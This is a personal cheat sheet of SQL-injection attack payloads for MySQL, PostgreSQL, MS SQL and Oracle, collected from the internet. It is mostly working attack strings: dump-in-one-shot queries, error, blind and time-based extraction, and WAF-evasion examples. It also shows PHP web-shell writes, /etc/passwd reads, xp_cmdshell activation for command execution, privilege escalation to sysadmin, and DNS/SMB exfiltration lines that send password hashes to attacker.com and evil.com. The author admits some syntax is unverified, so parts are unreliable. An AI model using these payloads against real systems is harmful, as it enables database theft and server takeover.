THIS ARTICLE MAY CONTAIN syntax inaccuracy, THIS ARTICLE MUST BE RECONSIDERED AND REORGANIZED

I collect different types of sqli attacks from the internet.

In this document I am targeting 4 databases: MySQL, PostgreSQL, MS SQL, ORACLE

Content


Additional SQL-injection technics to be investigated:

  • DIOS - Dump In One Shot

    Some DIOS examples:

    (select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)

    concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)

    concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)

    product_id=50 union all select null,null,concat(0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@),0x3c212d2d) -- -

    product_id=50 union all select null,null,concat('</a></li></ul></div><div><font color='green' size=5>HTML TAGS CLOSE HEADER',concat_ws(' ",@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!='information_schema')and@:=concat_ws(' ',@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)

SQL-injection Bookmarks


Do not really rely on automatic tools.

  • Rogue-MySql-Server - MySQL fake server for read files of connected clients
  • attackercan/cpp-sql-fuzzer - tables of allowed symbols in different inputs of SQL expressions
  • sqlmap - tool that automates the process of detecting and exploiting SQL injection (Automated Audit using sqlmap)

    • sqlmap.py -r burp-request.txt -p InjectedParameter
    • sqlmap "--suffix= --.example.com" -u "https://10.0.0.1/upload/files/asdf" "--host=settings_conf " -p host --dbms PostgreSQL --os Linux --level 5 --risk 3 --banner - how to penetrate Host: header


    • --check-waf/--identify
    • --fingerprint - gives moer information then --banner
    • --batch - never ask for user input, use default behaviour
    • --os-shell, …
  • msdat - Microsoft SQL database attacking tool (find valid creds, escalate privileges, execute commands on the operating system)

  • mieliekoek.pl - SQL insertion crawler which tests all forms on a web site for possible SQL insertion problems

Cheatsheets:


attack databases



Theory

SQL injection classification

  • union based sqli

  • error based sqli - you can see database error output

  • blind sqli - you can see some differences between successfull query and unsuccessfull:

    • any visible in the page source code differences (different numbers of br in document, different news posts depending on querry, etc)
    • you may have an opportunity to destinguish types of database errors, but not its content, so you can not return data in error

      this is a mutated vector called error based blind sqli

  • double blind sqli (time-based) - there is absolutely no other means to destinguish successfull and unsuccessfull query, but you can use sleep or benchmark or some hard mathematical computation to make successfull query work significantly longer.

Typical sql-injection workflow:

  • detect accessible databases
  • found table names
  • found amount of columns, names and types of columns
  • found contence of tables


Typical points of injection:

  • select x from x where x [order|group] by x limit x
  • insert into x (a, x, c) values (1, x, 3), (1, 2, 3)
  • update x set x=x where x
  • delete from x where x=x [order|group] by x limit x


SQL injection mitigation:

This mitigation does work if implemented correctly but it is NOT correct mitigation:

  • typecast expected integer values
  • escape expected strings with mysql_real_escape_string and embed them with quotes


Any differences in databases syntax or semantics help defining database type.




Databases capabilities

Databases characteristics

Feature MySQL PostgreSQL MS SQL ORACLE

Comments

#... -- ... /*...*/ ;\x00...
/*!50713 or 1=1*/ - comment if mysql version < 5.7.13

/*...*/ -- ... ;\x00...

--

Separation of DB queries (;)

no

yes

yes

yes

information_schema etc.

information_schema (MySQL version >= 5)

information_schema

error messages: master..sysmessages
related services: master..sysservers
passwords: masters..sysxlogins (SQL Server 2000)
passwords: sys.sql_logins (SQL Server 2005)
select name from sysobjects;
select name from syscolumns;

no information_schema
special table: dual
select * from all_tables where OWNER='DATABASE_NAME';
select * from all_col_comments where ...

time

now()

getdate()

sysdate()

Stacked queries

NO (php)

YES (php)

YES (php, asp, asp.net)

NO (java)

Query example

SELECT * FROM information_schema.schemata where 1=1;

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM DUAL;

Concatenation / CHR

'aaa''bbb' -> 'aaa\'bbb'; 'aaa' 'bbb' -> 'aaabbb';
concat('aaa', 'bbb') -> 'aaabbb'; 'aaa'||'bbb' -> 'aaabbb' (if ANSI mode)
select 0x70686F6E65786963756D;; select char(97);
select ascii('a');

'aaa'||'bbb' -> 'aaabbb'
select chr(97);
select ascii('a');

'aaa' + 'bbb' -> 'aaabbb'
select 0x70686F6E65786963756D;; select char(97);
select ascii('a');

'aaa'||'bbb' -> 'aaabbb'
select chr(97);
select ascii('a');

Error example

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near …

Query failed: ERROR: syntax error at or near “’” at
character 56 in /www/site/ test.php on line 121.

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string

ORA-00933: SQL command not properly ended

Handy functions


SUBSTRING (str, pos[, len])
CONCAT (param1, param2, ...)
IF (exp,true,false)
String functions
Miscellaneous functions

select case when 1=1 then true else falsefalse end;

if 1=1 select ... else select ...; - if cann’t be used inside select
case ... [when ... then ...]* else ... end
if ((select user) = 'sa' or (select user) = 'dbo') select 1 else select 1/0
fun: ... ; shutdown ; ...

if 1=1 then dbms_lock.sleep(0); else dbms_lock.sleep(3); end if; end;

SQLite information_schema analogue: sqlite_master:

  • SELECT name FROM my_db.sqlite_master WHERE type='table'; - get table names
  • SELECT sql FROM sqlite_master WHERE tbl_name = 'MyTable' AND type = 'table'; - get create query for MyTable

Database operands

Mainly from MySQL

  • and, or, not, ! or not, and not, div, xor, or, and
  • +, -, =, &, |, &&, ||, <=>, <=, >=, !=, <>, ^, *, <<, >>, <>, %, /, <, >, ~

Database features

MySQL

  1. group by x in MySQL will group results by x, even if final table will have other column y and some rows with identical x will have different y. MySQL will just select some random row for the final table. To the contrary, any other databases will not do so, they will throw error in such uncertain cituation.

  2. MySQL @@version < 3

    • no subqueries select (select ...)
    • no union
  3. Reading files from mysql client (mysql protocol)

    LOAD DATA LOCAL INFILE '/etc/passwd' (e.g. mysql server for file reading)

  4. MySQL variables


    @@basedir, @@datadir, @@tmpdir

    @@version, @@version_compile_os, @@version_comment, @@version_compile_machine

    @@database

    @@log_error

    USER(), SYSTEM_USER(), SESSION_USER(), CURRENT_USER()

    etc. (> 500)

  5. Back quotes means database and table.

    select * from `information_schema`.`shemata`;

PostgreSQL

MS SQL

  1. Adding sp_password to commentary will lead to not logging query to log file.

    select * from users where id='1' AND 1=1 -- sp_password

  2. In ASP % is fully removed

    S%E%L%E%C%T%01column%02FROM%03table;

  3. Stacked queries support

    ...' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

  4. Symbols from range 0x01 to 0x20 are all space equivalent.

  5. MSSQL enables to connect to databases inside query:

    ?id=1; select * from OPENRAWSET('SQLOLEDB', '';'user_id';'passwd','waitfor delay "0:0:50"; select 1;'); - just a delay
    ?id=1; select*from OPENRAWSET('SQLOLEDB','';'user_id';'passwd','exec master..sp_addsrvrolemember "passwd","sysadmin"; select 1'); - add current user to admin group

  6. some syntax:


    where users not in ('aaa', 'bbb')
    select top 1 name from members where not exist(select top 0 name from members)

  7. some functions: VERSION(), MD5(), SHA1(), PASSWORD(), ENCODE(), COMPRESS(), ROW_COUNT(), SCHEMA()

ORACLE

  1. Table and database names can be encoded
  2. No automatic type casting, use upper()
  3. No limit, no offset, use

    select id from (select id, rownum rnum from users a) where rnum=13;




Database elemental management

CREATE DATABASE sqlilabs;
CREATE USER 'sqlilabs'@'localhost' IDENTIFIED BY 'jafopw38JOEJ';
GRANT ALL PRIVILEGES ON sqlilabs . * TO 'sqlilabs'@'localhost';

SET PASSWORD FOR 'username'@'localhost' = 'password';




SQL injection technics

Union SQL injection

Use UNION ALL - to be free from DISTINCT Use NULL - because usually you have no idea about types

MySQL

  • Typical attack vector:

    • ?id=1' limit 0 union all select group_concat(schema_name) from information_schema.schemata -- -
  • Concatenation column values into one cell

    • GROUP_CONCAT (limit = 1024 symbols)

      select GROUP_CONCAT (concat_ws(0x3a,login,password)) from users;

    • BENCHMARK as a cycle

      select concat( concat(
        @i:=(select min(id) from users),
        @s:='',
        BENCHMARK(
        10,
        @s:=concat(
            @s,
            (select concat_ws(':',login, password) from users where id=@i limit 0,1),
            '|',
            i:=(select min(id) from users where id>@i)
        ))), @s);
    • variable after WHERE

      select concat(@p:=0x20,(select count(*) from users where @p:=concat(@p,password,0x2C)), @p);

  • bypass construction str LIKE '$usr_input'

    • % - means any string
    • _ - means any symbol
  • injection after GROUP BY (you can not use union)

    • select * from users where id=1 GROUP BY id limit 1 PROCEDURE ANALYZE();
    • select * from users where id=1 GROUP BY CASE @@version like '5.7' WHEN 1 THEN post_id ELSE post_author END
  • UNION ALL can be used against DISTINCT

  • getting executing query

    • SELECT info FROM information_schema.processlist;

PostgreSQL

  • Query example:

    /?param=1 and (1) = cast (version() as numeric)--
    /?param=1 and (1) = cast (version() as int)--

MS SQL

  • Query example:

    • create temp table and insert data

      AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name > @xy SELECT @xy AS xy INTO tmp_db END;

    • dump content

      AND 1 = (SELECT TOP 1 SUBSTRING (xy, 1, 353) FROM tmp_db);

    • dumping multiple tables and columns at once

      SELECT table_name, ', ' FROM information_schema.tables FOR XML PATH(''); SQL server 2005+

    • dump content from information_schema

      AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)

  • union all SELECT name FROM master..sysobjects WHERE xtype='U';
    'V' - for views 'U' - for user defined 

ORACLE

  • Query example

    • Getting version

      /?param=1 and (1) = (select upper (XMLType (chr(60)||chr(58)||chr(58)||(select replace (banner, chr(32), chr(58)) from sys.v_$version where rownum =1)||chr(62))) from dual) --

    • Getting multiple tables at once

      SELECT RTRIM (XMLAGG (XMLELEMENT (e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;




Error-based SQL injection

MySQL

Overal restriction for error length <= 512 (mysys/my_error.c)

  • Counting amount of columns

    • select * from users group by 5;
    • select * from users order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15;

      Error: Unknown column '4' in 'order clause'

    • select * from users where (SELECT * from users)=(1,2);

      Error: Operand should contain 5 column(s)

    • select * from users union all select 1,2,3,NULL,NULL,NULL,NULL,NULL,NULL (types of columns must match or be of derived types or NULL)

      Error: The used SELECT statements have a different number of columns

  • Reading column names

    • select * from users where (1,2,3) = (select * from users union all select 1%0,2,3);

      Error: Column 'id' cannot be null

    • insert into users (id,username,passwd) values (if(1=1,NULL,'1'), '2','3')

      Error: Column 'id' cannot be null

      Values types can be guessed by changing the insertion values

    • JOIN Duplicate column name (select can not work after join combined two tables into one with duplicate column names)

      • select * from (select * from users JOIN users a)b;

        select * from (select * from users JOIN users a using (id))x; - will skip already known column id

        Error: Duplicate column name 'id'

      • Same but without join keyword

        select * from (select * from users, users as a)b;

  • Reading values

    • Error based on COUNT(*), FLOOR(RAND(0)*2) and GROUP BY (Works because mysql insides executes this query by making two queries: add count of x into temp table and if error (x value does not exist) then insert x value (second time x calculation) into table)

      select COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2) )x from users GROUP BY x;

      Does not work with group_concat instead of version

    • BIGINT UNSIGNED error. error length <= 452

      (math functions: HEX, IN, FLOOR, CEIL, RAND, CEILING, TRUNCATE, TAN, SQRT, ROUND, SIGN)


      e.g. select !(select * from (select version())x) - ~0; - ~ is bit negation, ! makes typecast from string to number


      select 2 * if((select * from users limit 1) > (select * from users limit 1), 18446744073709551610, 18446744073709551610);
      Error: ... 'security'.'users'.'username' ... - we got full names of db, table and column_names


      !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x) - ~0 - will dump information_schema values in mysql version() == 5.5.5

  • Handy functions:

    • NAME_CONST - makes data the name of column (extends our technic field), but argument should be constant (constrict the field)

      select name_const(version(), 1);

  • Functions that expose its values when got wrong parameters:

    • updatexml

      select updatexml(1, concat('~', version()), 1);

    • extractvalue

      select extractvalue(1, concat('~', version()));

    • ST_LongFromGeoHash - mysql >= 5.7.5

      select ST_LongFromGeoHash(version());

    • JSON_* - mysql =?= ?.?.?

PostgreSQL

  • stacked queries:

    select 1,2 ; select 1,2,3;

  • Counting amount of columns

    • select * from users order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15;
    • select * from users union all select 1,2,3,NULL,NULL,NULL,NULL,NULL,NULL (types of columns must match or be of derived types or NULL)
  • incorrect data type casting

    select cast(version() as numeric);

MS SQL

  • Counting amount of columns

    • select * from users group by 5;
  • Reading column names

    • group by x will fail if table has column y and pair (x1, y1) != (x2, y2)

      Error: Column 'Users.password' is invalid ... it is not contained in either an aggregate function or the GROUP BY clause.

    • ... group by table.column1 having 1=1

  • Reading values

    • typecast error

      select convert(int, @@version);

      ?id=1 or 1=convert(int, (USER))--

  • Some queries:

    SELECT * FROM dbo.news WHERE id=1 and PERMISSIONS((select login + char(58) + pass as l from users for xml raw)) is not null;
    SELECT * FROM dbo.news WHERE id=1 and SUSER_NAME((select login + char(58) + pass as l from users for xml raw)) is not null;
    SELECT * FROM dbo.news WHERE id=1 and USER_NAME((select login + char(58) + pass as l from users for xml raw)) is not null;

ORACLE

  • Counting amount of columns

    • select * from users group by 5;
  • Reading values

    • reading value through XML ERRORS (space or symbol @ will cut off value output in error msg)

      select XMLType ((select 'abcdef' from dual)) from dual;

      Error: ... expected '<' instead of 'a' ...


      select XMLType((select '<abcdef:root>' from dual)) from dual;

      Error: ... namespace prefix "abcdef" is not declared ...


      select XMLType((select '<:abcdef>' from dual)) from dual;

      Error: ... Warning: invalid QName ":abcdef" (not a Name) ...

    • XML ERROR will return 107 symbols of database content

      select * from table where id = 1 and (1) =
      (select UPPER (XMLTYPE (
        chr(60) || chr(58) || chr(58)|| (
            select RAWTOHEX (login || chr(58) || chr(58) || password) from (
                select login, password, rownum rnum from users a)
            where rnum=2) ||
        chr(62)))
      from dual);
  • Some queries:

    select * from products where id_product=10 || UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) ) --

    Error: ORA-292257: host SCOTT unknown




Blind SQL injection

MySQL

  • Everything is based on usage of if, substring, ascii, char and binary search

  • ORDER BY injection

    select * from news ORDER BY ( id * if (ascii (substring (version(),1,1) ) = 53, 1, -1));

  • FIND_IN_SET to get more info from each query

    news.php?id=FIND_IN_SET (substring ((select password from users limit 0,1), 1, 1), '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Error-based blind sql-injection. (11 + 1 error types):


This query returns 11 different types of errors or no error depending on the first letter from pass.

sql.php?id=1 AND "x" 
regexp concat("x{1,25", (if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select pass from users limit 0,1),1,1),'0,c,d,e,f'),
('}'),
(select 1 union all select 2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\'))) -- 1
11 + 1 types of mysql errors:


0 select 1; No error
1 select if(1=1,(select 1 union all select 2),2); #1242 - Subquery returns more than 1 row
2 select 1 regexp if(1=1,"x{1,0}",2); #1139 - Got error ‘invalid repetition count(s)’ from regexp
3 select 1 regexp if(1=1,"x{1,(",2); #1139 - Got error ‘braces not balanced’ from regexp
4 select 1 regexp if(1=1,'[[:]]',2); #1139 - Got error ‘invalid character class’ from regexp
5 select 1 regexp if(1=1,'[[',2); #1139 - Got error ‘brackets ([ ]) not balanced’ from regexp
6 select 1 regexp if(1=1,'(({1}',2); #1139 - Got error ‘repetition-operator operand invalid’ from regexp
7 select 1 regexp if(1=1,'',2); #1139 - Got error ‘empty (sub)expression’ from regexp
8 select 1 regexp if(1=1,'(',2); #1139 - Got error ‘parentheses not balanced’ from regexp
9 select 1 regexp if(1=1,'[2-1]',2); #1139 - Got error ‘invalid character range’ from regexp
10 select 1 regexp if(1=1,'[[.ch.]]',2); #1139 - Got error ‘invalid collating element’ from regexp
11 select 1 regexp if(1=1,'\\',2); #1139 - Got error ‘trailing backslash ()’ from regexp




Time-based (double-blind) SQL injection

sleep or analogue, or heavy queries

MySQL

  • select if(version() like '5%', sleep(10), false);
  • select benchmark (10000000, md5(now()));

PostgreSQL

  • pg_sleep()

MS SQL

  • ?id=1; IF (LEN(USER)=5) WAITFOR DELAY '00:00:10'--

    • waitfor delay 'time_to_pass';
    • waitfor time 'time_to_execute';

ORACLE

  • select utl_inaddr.get_host_address('non-exist.com') from dual;




Out-of-band SQL injection

MySQL

  • file read/write. Config must have FILE_PRIV=yes

    • Check if we have file privileges

      select if (LOAD_FILE ('/etc/passwd') is not NULL, 1, 0)

      ?id=coalesce (length (load_file (0x2F6574632F706173737764)), 1) - coalesce returns first not null value from list

    • LOAD_FILE

      select LOAD_FILE ('/etc/passwd');

    • INTO OUTFILE

      select * from table INTO OUTFILE '/path/to/shell.php' LINES TERMINATED BY "<?php system($_GET[k]);die();?>";

      select * from table INTO OUTFILE '/path/to/shell.php' FIELDS TERMINATED BY '' optionally enclosed by "<?php system($_GET[k]);die();?>"

      select 1,'<?php system($_GET[cmd]); ?>' from table INTO OUTFILE '/path/to/webshell.php'

    • LOAD DATA INFILE

      LOAD DATA INFILE '/etc/passwd' into table db.users;

    • LOAD DATA LOCAL INFILE - according to mysql protocol load file from the client machine

  • internet connections. Config must have FILE_PRIV=yes

    • DNS exfiltration

      SELECT LOAD_FILE (concat ('http://begin.', (select mid (version(), 1, 1)), '.attacker.com/'));

    • SMB protocol, etc.

      INTO OUTFILE '//evil.com/SMBshare/dump.txt'

    • XXE - updatexml and extractvalue

      select UPDATEXML('<!DOCTYPE hifi [<!ENTITY xxe SYSTEM "http://localhost:1234">]><a>&xxe;</a>', '/a', 2); - didn’t managed to successfully execute this one

      select EXTRACTVALUE('<!DOCTYPE hifi [<!ENTITY % xxe SYSTEM "http://localhost:1234"> %xxe;]><a>lol</a>', '/a'); - didn’t managed to successfully execute this one

PostgreSQL

  • file read/write

    • COPY FROM

      CREATE TABLE xxx(data text); COPY xxx FROM '/etc/passwd';

    • COPY TO

      CREATE TABLE xxx(data text); INSERT INTO xxx(data) VALUES ('<?php system($_GET[cmd]); ?>'); COYP xxx(data) TO '/path/to/webshell.php'

  • XXE - xmlparse

    select xmlparse(document '
    <?xml version="1.0" standalone="yes"?>;
    <!DOCTYPE content [
        <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">
    ]>
    <content>&abc;</content>');
    
  • DNS exfiltration (by @Miroslav Stampar)

      DROP TABLE IF EXISTS xxx;
      CREATE TABLE xxx(content text);
      CREATE OR REPLACE FUNCTION temp_func()
      RETURNS VOID AS $$
      DECLARE exec_cmd TEXT;
      DECLARE query_result TEXT;
      BEGIN
          SELECT INTO query_result (SELECT version());
          exec_cmd := E'COPY xxx(content) FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\ddd.txt\'';
          EXECUTE exec_cmd;
      END;
      $$ LANGUGE plpgsql SECURITY DEFINER;
      SELECT temp_func();
    

MS SQL

  • file read/write

    • read (file): file(%systemroot%\system32\inetsrv\MetaBase.xml) (IIS 6 - web-app metadata)

    • write (BCP): bcp "SELECT * FROM test..my_table" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Ppassword (requires password)

  • internet connections

    • OPENRAWSET

      select * from OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=evil.com; uid=my_username; pwd=mypassword', 'select user_password from users');

    • EXEC master..xp_dirtree '\\' + (select 1) + '.evil.com\\test.txt'

    • DNS exfiltration

      DECLARE @host varchar(1024);
      SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') + '.attacker.com';
      EXEC('master..xp_dirtree "\\' + @host + '\c$"');
      
  • RCE - exec and stored procedure xp_cmdshell - must be activated

    • EXEC master.dbo.XP_CMDSHELL 'pwd';

    • xp_cmdshell activation:

      EXEC sp_configure 'show advanced options', 1;
      EXEC sp_configure reconfigure;
      EXEC sp_configure 'xp_cmdshell', 1;
      EXEC sp_configure reconfigure;
      
    • without xp_cmdshell - creation of your own stored procedure:

      EXEC sp_configure 'show advanced options', 1;
      EXEC sp_configure reconfigure;
      EXEC sp_configure 'OLE Automation Procedures', 1;
      EXEC sp_configure reconfigure;
      
      DECLARE @execmd INT;
      EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
      EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c';
      
    • more stored procedures: xp_cmdshell (cmd execute) xp_regread (registry stuff):, xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring, xp_regwrite, xp_servicecontrol (managing services), xp_availablemedia (medias), xp_enumdsn (ODBC resources), xp_loginconfig (login mode), xp_makecab (creating cab files), xp_ntsec_enumdomains (domain enumeration), xp_terminate_process (process killing), sp_addextendedproc (add new procedure), sp_makewebtask (write text file to a UNC or an internal path)

    • execute VBS/WSH

      declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' –

ORACLE

  • internet connections

    • UTL_HTTP.REQUEST
      select * from users where id=10 || UTL_HTTP.REQUEST ('evil.com' || (select user from dual)) --

    • UTL_INADDR.GET_HOST_ADDRESS
      select UTL_INADDR.GET_HOST_ADDRESS('evil.com') from dual;

    • DNS exfiltration
      SELECT SYS.DBMS_LDAP.INIT((SELECT version())||'.attacker.com', 80) FROM DUAL;

  • Handy functions:

    • XXE - xmltype

      select extractvalue(xmltype('
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE root [
            <!ENTITY % remote SYSTEM "ftp://'||user||':bar@evil.com/test">
            %remote;
        ]>
      '),'/l') from dual;`




WAF bypass

WAF Attack Methods

Encoding special characters

OWASP SQL injection bypassing WAF

  • Bypassing space

    • add brackets

      select(username)from[users];

    • useless operations based on like, substring, …, ~, !, unary +, -, @

  • Declare some variables, which will break WAF regexps

My SQL:

  • hex encoding '/etc/passwd' -> 0x2F6574632F706173737764

  • union all select –> union all SeLeCt

  • union all select –> union all select

  • and –> if (a, if (b, true, 0), 0)

  • comments /*! select ... */

  • change syntax and sql query structure. Synonyms!

    substring (str, pos[, len]) vs substring (str FROM pos [FOR len]) vs mid (str, pos[, len]) vs mid (str FROM pos [FOR len]) vs left vs right

    convert (version (), binary) vs convert (version () using latin1) vs cast (version () as binary)

    ascii, char, hex

    regexp, rlike, not regexp, not like vs locate (substr, str[, pos]) - find

    if (exp, true, false), ifnull, nullif, case ... [when ... then ...]* else ... end, expr BETWEEN min AND max - return 0 or 1

    concat (param1, param2, ...), concat_ws (sep, param1, param2, ...) - with separator

  • Examples

    /?id=1/*union*/union/*select*/select+1,2,3/*

    /?id=1+un/**/ion+sel/**/ect+1,2,3--

    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users


    Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--


    no spaces, slashes, quotes and numeric operations:

    ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#


    where alternative

    ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like('test')&&(table_name)!=('my_table_1')))#


    bypassing commas:

    select * from (select 1)x join (select 2)y join (select 3)z;

PostgreSQL:

  • change syntax and sql query structure. Synonyms!

    chr(0x41)||chr(0x42)

MS SQL:

  • hex encoding, etc. no quotes

    DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);

    SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110);

  • Symbols %01-%20, !, +, -, ., \, ~ are alowed as intermediary characters

    SELECT FROM[table]WHERE\1=\1AND\1=\1;

Oracle:

  • names can be encoded

    SELECT 0x09120911091 FROM dual;

    SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;




WAF shit I have witnessed:


  1. amount of spaces - matters

    $str = str_replace(array(' '), array('.'), $_GET['param'];);
    $res = mysqli_query($db_link, "SELECT * FROM flag WHERE id=".$str."");


    Now if you pass /?param=1+ - you will be OK. (query = id=1.)
    But if you pass /?param=1++ - everything will go wrong, because query will be id=1.. - mysql error.




Some big scripts (don’t know if they really works)

Create a new stored procedure, called xp_cmdshell3:

CREATE PROCEDURE xp_cmdshell3(@cmd varchar(255), @Wait int = 0) AS--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate ‘WScript.Shell’, @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR (‘CreateObject%0X’, 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, ‘Run’, Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR (‘Run%0X’, 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result